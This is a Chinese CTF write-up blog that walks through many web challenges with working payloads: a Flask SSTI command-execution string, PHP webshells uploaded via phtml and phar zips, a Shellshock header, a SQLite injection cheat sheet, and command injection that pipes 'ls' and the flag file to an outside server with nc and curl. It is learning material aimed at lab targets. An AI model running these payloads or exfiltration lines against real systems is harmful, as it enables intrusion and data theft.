calstr = calstr.replace("=", "")
if "e" in calstr:
calstr = calstr.replace("e", "")
if "v" in calstr:
calstr = calstr.replace("v", "")
print calstr
return eval(calstr)
def test(str): #传入抓取的源码
pstr = '<div style="display:inline;">'
jstr = ' </div><div style="display:inline;">'
num = len(jstr)
index = str.index(pstr) + len(pstr)
calstr = ""
for i in range(0, 71):
calnum = index + i * num
calstr = calstr + str[calnum]
if "=" in calstr:
calstr = calstr.replace("=", "")
if "e" in calstr:
calstr = calstr.replace("e", "")
if "v" in calstr:
calstr = calstr.replace("v", "")
print calstr
url = "http://ctfgame.acdxvfsvd.net:20004/"
s = requests.session()
re = s.get(url)
content = re.content
count = cal(content)
time.sleep(1)
res = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count + 9223372036854775807})
count1 = cal(res.content)
time.sleep(1)
res1 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count1 + 9223372036854775807})
count2 = cal(res1.content)
time.sleep(1)
res2 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count2 + 9223372036854775807})
count3 = cal(res2.content)
time.sleep(1)
res3 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count3 + 9223372036854775807})
count4 = cal(res3.content)
time.sleep(1)
res4 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count4 + 9223372036854775807})
print res4.content

五次之后得到flag.

基本操作

这题目当时卡死是因为没意识到guest/guest账号的存在,亏我还用50000条弱密码在爆破root密码,欸,要不然是可以做出来的。
首先可以查看下info.php,里面有一些最基本的信息。
使用guest/guest登入,发现这个东西:

这东西写在这摆明了说来日我啊,这个可以联想到之前Chamd5爆出的这个漏洞:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF/jxV/9/cEb5pShRgewJe/ttJn2gIlIyGF/bsgGmzcbsV%2bLmMK#rd
具体源码分析可以看这一篇文章,接着利用点就很清晰了,我们只要把命令写进本地文件,然后通过本地文件包含执行命令就能拿到flag。这里我们可以利用session文件,session文件会记录当前cookies用户的操作,我们只要执行一个包含了命令的操作就行了。接下来就很简单了。
首先我们记录下现在cookies中phpmyadmin的值,为:

1
ft262cg8vj2v0r8feei75nlveojcmu32

通过执行查询操作,把我们的命令写入本地文件:

写入成功利用本地文件包含漏洞执行命令,session文件默认保存在/tmp/sess_你的sessionid下:

可以看到命令成功执行了,接着读取根目录文件,发现下面有个nctfffffffff文件,读取得到flag:

flask真香

这看题目第一反应就是ssti,进去一测试,果不其然:

接着测试发现config,items,for,mro等等都被过滤了,但是有个特点,在我测试双写绕过时发现了这貌似是个贪婪模式,没办法进行绕过,但是前段时间Tykyo里面有道题目是把config置换为了none了,我在想会不会这里也是一样的,接着测试,发现了果然是这样:

接着普及几个魔术方法,这些都是用来找类调用所使用的方法:

1
2
3
4
5
6
7
8
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

首先找到object类:

查看有啥可利用的子类:

emmmm,在357位置找到了了一个warnings,这下面是可以调用os模块的,接着调出可以执行命令的函数popen就可以读取文件了,payload如下:

1
{{''.__claconfigss__.__baconfigse__.__subclaconfigsses__()[357]()._module.__buiconfigltins__['__imconfigport__']('oconfigs').poconfigpen('ls -a').read()}}

在根目录下发现了Th1s__is_S3cret文件,读取文件就能得到flag.

Funny_Emoji I

这题目特别有意思,里面表情包可好玩了!
打开链接,发现有个emoji功能,但是需要登入,既然有注册页面那就先注册,进去emoji功能界面:

发现我们可以选择图片,下面有个文本框可以任意输入,点击旁边的按钮就能得到表情包。不过在查看页面源代码的时候发现了这样一点:

这会远程加载一个文件,我们可以访问一下,尝试更改参数发现了,image.php会根据我们传入的name参数改变图片样式。
接着没啥思路了…..不过刚刚查看源码的时候,发现了一段js混淆加密的代码,解码发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function encccccrypt(s) {
flag = '';
for (i = 0; i < s.length; i++) {
flag += String.fromCharCode(s.charCodeAt(i) ^ key.charCodeAt(i % key.length))
}
return btoa(flag)
}
var key = 'nctf23333';

function hold_data(s) {
return s.replace('\n', '%0a')
}
var enccccrypt = atob;

function get_images() {
var s = document.getElementById('sel');
var i = document.getElementById('ima');
var index = s.selectedIndex;
i.src = "images/" + s.options[index].value + ".jpg"
}

function get_my_image() {
var s = document.getElementById('sel');
var i = document.getElementById('ima2');
var t = document.getElementById('text');
var index = s.selectedIndex;
var im_name = s.options[index].value;
var im_text = t.value;
var ptl = encccccrypt(enccccrypt("ZGF0YTovL3RleHQvcGxhaW4s"));
var data = hold_data(im_text);
i.src = "image.php?name=" + im_name + "&data=" + data + "&ptl=" + ptl
}

先把里面可疑一段base64解码,发现:

emmmm,这貌似可以通过data协议写入shell。按照它加密的方式我们尝试这样的payload:

1
data://text/plain,<?php phpinfo(); ?>

但是回显不太对:

按照原来的字符输出了,这里让我想到一篇文章,说的是如果使用file_put_contents()函数测试,那么会按照原来的字符串输出,所以尝试读一下flag.php,因为data参数的值是接在ptl参数后的,所以data参数不传值,flag到手:

近期比赛的归纳总结

前言

最近比赛一波接一波,但是我又是忙着演出排练没时间打,好不容易抽出时间来比赛又被打的自闭又自闭,写个博客记录一下原来没注意过的小技巧和骚操作吧。

Easy_upload

说来惭愧,这是新生赛的一道题目,真的学到了这个技巧。
打开页面是一个普通的界面,上传png文件发现了一个过滤:

碰到这种过滤,我们可以使用phtml的文件来进行绕过,phtml文件可以把文件中存在html的标签进行处理再作为php文件执行,我们可以上传一个如下的phtml的文件:

1
2
3
<script language="php">
system($_GET['a']);
</script>

接着找到文件目录执行?a=cd ..;ls查看文件,读取flag.php就行了。

Crazy Train

这题目真的学到了很多东西。这是一道关于Ruby的SSTI注入的题目,里面的技巧会慢慢讲。
打开网站发现只是一个简单的留言系统,只有一个新建文章的功能:

点进去发现只有文章标题和文章内容可以编辑:

emmmmm,一开始我是想尝试xss的,但是发现我们好像并不能确定文章是否传过去了,也不能确认是否有admin查看我们的文章,所以只能尝试其他思路…..抓包看看有没有可疑参数:

发现了一个隐藏的参数,结合刚刚我们传文章过去无回显可以猜测一下是不是ssti注入,使用BuiltWith确定框架是Ruby,接着可以尝试一下如下攻击:

1
<%= 2 * 2 %>


接下来就简单多了,查了查Ruby的File类读文件调用方式,如下:

1
File.open('路径').read

尝试读取/etc/passwd:

接下来的问题就是不知道我们所读取flag的路径在哪里,经过查阅Ruby有关dir类发现了这样一个函数:

接下来就简单了,毕竟什么过滤也没有,操作如下:


Archivr

题目分析

emmmmm,睡了一觉起来发现题目已经关了,真的无语,下一次尽量熬夜复现完吧。
点开链接发现是一个可以上传文件的系统,但是只能上传小于5kb的文件,上传文件会得到一个key,通过这个key能下载我们这个文件,不过链接的参数有一个可利用漏洞,文件包含:

1
http://fun.ritsec.club:8004/index.php?page=upload

利用文件包含漏洞就能读取出所有的源码,初步审计一波,我把有价值的给挑出来分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_FILES['upload']['size'] > 5000) { //max 5KB
die("File too large!");
}
$filename = $_FILES['upload']['name'];


$upload_time = time();
$upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

$ext = "";
if (strpos($filename, '.') !== false) {
$f_ext = explode(".", $filename)[1];
if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false && stripos($f_ext, "pht") === false) {
$ext = "." . $f_ext;
} else {
$ext = ".dat";
}
} else {
$ext = ".dat";
}
$upload_path = $upload_dir . md5($upload_time) . $ext;
mkdir($upload_dir, 0770, true);

//Enforce maximum of 10 files
$dir = new DirLister($upload_dir);
if ($dir->getCount() >= 10) {
unlink($upload_dir . $dir->getOldestFile());
}

move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
$key = $upload_time . $ext;
}

这里给了上传文件的储存目录生成方式,以及两个黑名单,通过检查php?或者pht?来过滤文件的后缀名。目录通过获取我们的ip地址以及当前的时间戳来生成最终地址。

phar协议

题目过滤了php,php5,phtml等等,通过用一些后缀名来绕过貌似行不通,这里用到了一种协议-phar协议。
phar协议适用于php>5.3.0版本,官方文档如下:

简单来说,就是一个打包解包的过程,在我们传输压缩文件的时候,服务器会对压缩包进行解压然后执行文件内容,也就是说我们可以利用phar协议去解析我们上传的压缩包,例如:
我们新建一个php文件如下:

1
<?php echo system($_GET["a"]); ?>

将它压缩为zip文件,然后上传使用phar协议去读取../../xxx.zip/xxx.php就能执行任意命令了。

反向代理

一般来说,我们通过外网的服务器去请求内网数据的时候,外网的代理服务器就像一个跳板一样,让我们通过它去访问内网的服务器,正向代理的服务器作用也仅仅是作为跳板,但是反向代理不一样,我们访问反向代理服务器,代理服务器会通过自己的ip去访问内网服务器,然后将接受的信息返回给我们,反向代理服务器对外表现就像是一个内网服务器一样。具体分析可以参考:
https://www.cnblogs.com/Anker/p/6056540.html

解题方法

既然我们可以通过phar协议去执行命令,那么现在问题就是如何找到目录,我们在源码中看到了服务器会将我们的ip进行md5然后加上当前时间戳的md5加后缀名来生成路径,但是在我加密了我的ip,去访问路径的时候发现返回了404,这就很奇怪,按理来说应该没问题,但是目录不存在是怎么回事?
这就是反向代理的原因了,我们访问的服务器是一个代理服务器,而我们所要的资源则是在内网服务器上,所以代理服务器在访问内网资源时,所用的ip就是它本身ip,并不是我们自身的ip,那问题又来了,我们如何得到服务器ip呢?
一个大师傅想到了所有的题目都是部署在一个服务器上,那么可以通过其他的题目来获取ip地址啊,例如上一题的Ruby SSTI注入,我们可以获取所有环境变量的信息:


通过request类来读取服务器ip:

1
@_request.instance_variable_get(:env)


上传zip文件,接着访问:

1
http://fun.ritsec.club:8004/uploads/98d3cbed97b0bc491c000455c9f8e6fb/md5(time()).zip/1.php?a=ls

读flag文件就行了。

php_is_funny_chal8

最近刷题接触到了几道反序列化问题,发现有道题目还是挺好的,补充了一个新的知识点。
题目点开扫目录,发现了一个index.php.bak,审计一波代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php 
ini_set("open_basedir",dirname(__FILE__));
#GOAL: file_get_content('sbztz.php') : )

class just4fun {
public $filename;

function __toString() {
return @file_get_contents($this->filename);
}
}

$data = stripslashes($_GET['data']);
if (!$data) {
die("hello from y");
}

$token = $data[0];
$pass = true;

switch ( $token ) {
case 'a' :
case 'O' :
case 'b' :
case 'i' :
case 'd' :
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
break;

default:
$pass = false;

}

if (!$pass) {
die("TKS L.N.");
}

echo unserialize($data);
?>
<!-- ./challenge8.php.bak -->

题目要求就是让我们把sbztz.php给包含出,源码给出了一个类,类里面有一个__toString()函数,只要我们通过序列化触发类里面的函数就行了,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class just4fun {
public $filename;

function __toString() {
return @file_get_contents($this->filename);
}
}
$a = new just4fun("a");
$a->filename = "sbztz.php";
echo serialize($a);
?>

但是源码有一个过滤需要绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$token = $data[0];
$pass = true;

switch ( $token ) {
case 'a' :
case 'O' :
case 'b' :
case 'i' :
case 'd' :
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
break;

default:
$pass = false;

}

if (!$pass) {
die("TKS L.N.");
}

emmm,也就是说我们输入的data不能是例如开头为O:123:这种类型的,这里提供了一种比较特殊的绕过方式,分析可以看这篇文章:http://www.phpbug.cn/archives/32.html。
里面提到了在我们生成:

1
O:+8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}

这个payload,在Object后加个+依旧可以正常的反序列化,所以最终payload为

1
O:+8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}

PS:直接传参还不行,必须对符号都进行url编码才能得到flag,具体原因不太清楚.

结合CVE的一道命令执行弹shell的题目

前记

这是hackme一道题目,这道题目结合了一个高危的cve以及弹shell的操作,从这题目学到了挺多东西的,为此把这道题目记录一下。

初步测试

题目地址:https://command-executor.hackme.inndy.tw/
打开发现网页有几个明显的功能:

第一个页面是man的函数说明,第二个功能是则是上传文件,第三个功能就是输入命令执行了,但是被限制的很死,也就是说只能执行ls以及env,第四个就是ls读取文件,但是只能读取四个目录的文件,不过问题不大,可以更改file参数来更改读取目录。不过点点的时候发现了一个很明显的漏洞:

这里很容易想到可以尝试用文件包含来读取源码:

1
https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index

读取出index.php源码,挑出一些值得审计的代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

审计index.php的时候,发现了一个黑名单,过滤了/flag以及(){ :; };,这个时候还并不知道有何作用,接着查看untar的源码,发现网页只是把我们上传的文件名进行解压,并没什么卵用。接下来的源码没啥利用价值。
根据飘零师傅的wp,飘零师傅通过观察到了env以及putenv联想到了之前的一个cve,具体的分析如下:

1
http://www.freebuf.com/articles/system/45390.html

接着飘零师傅推荐这篇生成exp的文章:

1
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php


payload如下:

1
wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

接着可以对比一下之前的源码,发现出现漏洞的源码十分相似,我们可以尝试一下payload的实用性,不过之前在waf中我们看到过滤了payload的一部分:

1
2
3
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

我们可以通过在:;之间加空格来绕过,所以尝试的payload如下:

1
wget --header="X-Exploit: () { : ; }; echo This is a test" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"


发现成功执行了命令,那接着我们可以尝试读取一下/etc/passwd

可以发现flag文件夹在根目录下,尝试读取一下。

突然想起来,/flag被过滤了,这里我们用通配符绕过,但是并没有任何回显,我们用第四个功能ls看啥情况。

发现我们没权限读取这个文件,需要root权限,但是下面flag-reader.c可以读取,我们尝试读一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

看不太懂,套用一叶飘零师傅的话就是,这个命令可以1秒之内把他输出的再输入回去,就可以打出文件内容。
运行这个c,再把这个c输出在1s内再输回去,但是纯靠这样的交互,速度极慢,所以容易想到,要不要拿个shell?接着我们可以利用bash弹shell到我们的服务器上:

有了shell,现在就是如何读取flag的问题了,这里借鉴了一叶飘零师傅的思路,通过找到可写入文件的目录,利用了linux下的重定向,将输出写到某个文件中,再自动输入即可,这样即可达到目的。通过ls的功能我们可以看到tmp目录可以写入,所以参考的payload如下:

1
flag-reader flag > /var/tmp/flllag < /var/tmp/flllag

接着读取这个文件就行了。
PS:记得删除自己所留下的文件,要不然可能导致题目没办法做了。不过在tmp目录下一堆别人留下的flag文件,随便读一个就行了。

近期比赛学习总结

前记

最近又陷入了自闭自闭又自闭的环节,先是pico高中生比赛被吊打,接着又是inctf被吊打,周末又被护网杯题目弄自闭,对此只能说自己技术太菜,总结一下最近新学到的知识点吧(由于比赛打完之后环境关了,所以只能结合大师傅们的wp进行复现)。

easy tornado

这是护网杯的签到题,说句实话一开始打就知道这一次比赛又是凶多吉少,点进去发现有三个文件:

1
2
3
4
5
6
7
8
Orz.txt 
render()

hint.txt
md5(cookie_secret + md5(filename))

flag.txt
/fllllllllllag

赛后梳理起来,提示真是太明显了,当然这是马后炮了,render()就说明了这里用了渲染,就可能存在ssti注入,果不其然在报错页面发现了msg这个参数,通过利用msg=4测试发现返回了4,也就是说明可以通过ssti注入得到数据。
接着是url构成如下:

1
file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a

hint.txt提示签名的生成方式,以及flag.txt提示了/flllllllllllg也就是说我们只要读取这个文件夹就能得到flag,那现在问题就是通过ssti注入得到cookie_secret,通过测试发现了一个问题就是ssti注入过滤了很多东西,只能读取变量。
既然题目提示了easy tornado,那么我们可以查询源码找突破口,这部分直接搜索cookie发现了在handler.settings存放了cookie_secret,直接通过msg=读取出cookie_secret再通过hint中提示的签名方式生成/fllllllllg的签名读取出flag。
这道题目有两个点坑,导致我没做出来….一个就是报错界面了,之后一定要主要一些报错界面或者一些不太重要的界面,既然存在就有他的作用,接着第二个点就是没认真阅读tornado的源码,如果存在ssti注入那模板一定得认真阅读,特别是关于敏感信息的一些文件。

ltshop

这是一道关于条件竞争以及整数溢出的题目,一开始只有20块只能买4个辣条,通过开多线程跑出来发现自己花了20元买了7个辣条,接着在兑换的时候利用整数溢出漏洞买足够辣条通过兑换flag得到flag。

条件竞争

条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
在CTF中很容易出现这种漏洞,特别是在文件操作以及金额同步的情形下,例如上面这道题目,在购买辣条时,后端操作应该是先把辣条数+1,然后再扣除费用,当我们开多线程发送多条购买辣条的请求时,服务端同时处理多条请求,同步处理不当,很有可能导致一包辣条的钱购买了多包的情况,或者是在金额即将归零时购买了辣条导致金额为负值。
或者是在上传文件时,服务器先将文件储存再通过检测后缀名将黑名单的文件进行删除,这里可以在文件删除之前访问文件,从而执行文件中的命令,例如可以在文件中写入file_put_contents()再生成一个shell,或者是将文件名改成白名单的文件。

整数溢出

准确来说这并不是属于web方面的内容,但是web杂的很,结合啥的漏洞都可能出现,像之前接触到的sprintf()格式化漏洞,结合mysql就出了一道盲注题目,还有pwn方面的结合web就有了沙箱逃逸这个专题…..话不多说…
一般来说,整形变量有int,short,long等,但是很多程序员在使用typedef定义新整形变量时会随缘定义,这就导致一些程序在跨平台的兼容性很差,所以业界有了一个整形变量的标准。如下:

1
2
3
4
5
6
7
8
9
10
typedef signed char             int8_t;   
typedef short int int16_t;
typedef int int32_t;
typedef long int int64_t;
typedef long long int int64_t;
typedef unsigned char uint8_t;
typedef unsigned short int uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long int uint64_t;
typedef unsigned long long int uint64_t;

而在c中,这些整数储存占用字节如下:

溢出的方式根据数据类型有两种不同的类型:
第一种上界溢出,比如short int这个类型,它储存的数据从-32678~32677,如果我们操作32677,让其加1,那它储存的数据块最后一位储存符号位的字节就被溢出的数据给更改了,也就是说直接变为了最小的-32678,如果根据算式来看就是32677+1=-32678,这种带符号位在web网页中不常见,常见的是unsigned类型,再比如说unsigned short int数据储存的范围是0~65535,要是对65535操作加1,也就变成了0,通过算式说明就是:65535+1=0,也就是说我如果在网页中购买大量商品,后台数据处理出现整数溢出,那我们就能花1件的钱来购买65537件商品。
第二种为下界溢出,就类似上界溢出的逆运算,利用点和上界溢出一样,就粗略带过了…

Fancy-alive-monitoring

直接上源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").value;
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
if (!chk) {
alert("Wrong IP format.");
return false;
} else {
document.getElementById("monitor").submit();
}
}
</script>
</head>
<body>
<h1>Monitoring Tool ver 0.1</h1>
<form id="monitor" action="index.php" method="post" onsubmit="return false;">
<p> Input IP address of the target host
<input id="ip" name="ip" type="text">
</p>
<input type="button" value="Go!" onclick="check()">
</form>
<hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
// super fancy regex check!
if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
exec('ping -c 1 '.$ip, $cmd_result);
foreach($cmd_result as $str){
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
} else {
echo "Wrong IP Format.";
}
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

题目主要是考源码审计以及命令执行,题目在客户端和服务端分别对ip进行了检测,第一次在客户端的检测如下:

1
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);

这里明显只能匹配xxx.xxx.xxx.xxx格式的ip,但是可以很简单的通过burp抓包绕过,接着看服务端的检测:

1
preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip

这里并没有使用$限制输入ip的结束,也就是说我们只要满足前面的ip匹配即可,接着使用命令分隔符就能执行我们命令了,但是源码中并没有回显,只有这一部分回显:

1
2
3
4
5
6
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;

那也就是说,我们得通过其他方式来获取回显的信息。这里提供两种方式。

netcat监听

第一种方式就是在我们的服务器上开启一个监听端口,然后在目标机上通过nc链接,把执行的命令返回给我们的服务器。
首先我们开启一个端口,如下:

1
nc -lvnp 2333

接着使用目标机执行ls命令然后发给我们的服务器:

1
ip=127.0.0.1;ls | nc 66.42.72.66 2333

我们的服务器就收到了回显:

接着通过读取flag文件就好了:

1
ip=127.0.0.1;cat the-secret-1755-flag.txt | nc 66.42.72.66 2333

得到flag:picoCTF{n3v3r_trust_a_b0x_36d4a875}

带flag访问接收器

第二种方式是通过带flag直接访问我们的服务器,把执行命令返回的内容通过赋值到一个变量然后访问我们的服务器,例如使用curl 或者是 wget命令。例如我们可以构造这样一个payload:

1
ip=127.0.0.1;curl http://66.42.72.66/`ls`

接着我们查看日志,发现:

我们只得到了一个文件,那就是index.php,结合使用netcat监听方法发现这是第一个文件,这是因为在/的后面只能带一个参数,所以在不清楚有多少文件的情况下,我们是没办法用倒叙或者一个一个查的,因此我们可以使用base64,把结果进行编码构成一个参数进行访问:

1
ip=127.0.0.1;curl http://66.42.72.66/`ls | base64`

我们接收到了base64后的所有文件名:

接着解码再读flag就行了。这也可以使用?带变量进行访问具体可以自己尝试。

A Simple Question

这是一道考sqlite注入的题目,sql注入中这一种倒是不太常见,但是和mysql有着类似的特点。
一进去就发现源码泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "config.php";
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');

$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
echo "<pre>";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
?>
<?php
$con = new SQLite3($database_file);
$result = $con->query($query);

$row = $result->fetchArray();
if($answer == $CANARY) {
echo "<h1>Perfect!</h1>";
echo "<p>Your flag is: $FLAG</p>";
}
elseif ($row) {
echo "<h1>You are so close.</h1>";
} else {
echo "<h1>Wrong.</h1>";
}
?>

简单审计发现,数据库会查询我们输入的答案,如果返回结果,那么会输出you are so close,但是如果搜索无果,那么就只会提示wrong,题目的主要思路就是通过注入的方式判断answer是什么,再通过输入answer得到flag。

sqlite注入

sqlite注入和mysql注入差不多,就是语法存在一些差异。
这里以字符型为例子:

  • 查询行数:’ order by x – -
  • 查询回显位: ‘ union select 1,2,3,4,5….. – -
  • 查询表名: ‘ union select 1,group_concat(tbl_name),3,4,5… from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ – -
  • 查询列名: ‘ union select 1,group_concat(sql),3,4,5… from sqlite_master where type!=’meta’ and sql not null and name not like ‘sqlite_%’ and table=’表名’ – -
  • 查询字符串: ‘ union select 1,列名,3,4,5… from 表名 – -

接下来就是sqlite的布尔型注入:

  • 查询表的数量:’ and ( (select count(tbl_name) from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ ) = x) – -
  • 查询表名长度: ‘ and ((select length(tbl_name) from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ limit 0 offset 1) = x) – -
  • 查询表名:’ and ( (SELECT hex(substr(tbl_name,’猜解的字符位置’,1)) FROM sqlite_master WHERE type=’table’ and tbl_name NOT like ‘sqlite_%’ limit 1 offset 0) = hex(‘a’) ) – -
  • 查询列名: ‘ and ((select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,’(‘)%2b1)),instr((substr(sql,instr(sql,’(‘)%2b1)),’')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"“,””),’猜解的字符位置’,1)) FROM sqlite_master WHERE type!=’meta’ AND sql NOT NULL AND name NOT LIKE ‘sqlite_%’ and name=’表名’) = hex(‘a’) ) – -
  • 查询字符串: ‘ and ( (select hex(substr(列名),1,1)) from users limit 1 offset 0) = hex(‘a’) ) – -

这些操作也不用死记住,理解查询的语法就差不多了,复杂的到时写脚本直接套就行了。

Old School SQL

这道sql注入的题目把我想到的绕过以及我没想到的绕过都过滤了。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
include "./config.php";
include "./flag.php";
error_reporting(0);

$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pw'])) exit(":P");


$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'";

$result = mysql_query($query);
$result = mysql_fetch_array($result);
$admin_pass = mysql_fetch_array(mysql_query("select pw from chal where user='admin'"));
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
if($result['user']) echo "<h2>Welcome {$result['user']}</h2>";
if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){
echo $flag;
}

highlight_file(__FILE__);

?>

其实主要的重点就是这过滤的语句:

1
2
$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

审查源码不难发现,我们需要通过注入得出密码才能得到flag,并不能通过注入直接得到flag。但是有几个问题需要解决:
第一个问题是’被过滤,如何造成单引号溢出是一个问题,第二个问题是如何注释掉后面的无关语句,但是三种过滤符号都被过滤了。第三个问题就是某些重要的关键词被过滤了,如何绕过通过查询语句来得到我们所要的密码。
第一个问题,我们可以发现black_list中并没有过滤\这个转义符,这里可以造成’逃逸。
第二个问题,在mysql中,查询语句一般需要用;作为结束的符号,也就是说我们把;嵌入查询语句,那;之后的语句都不会执行。所以可以使用;来作为替代注释符号。
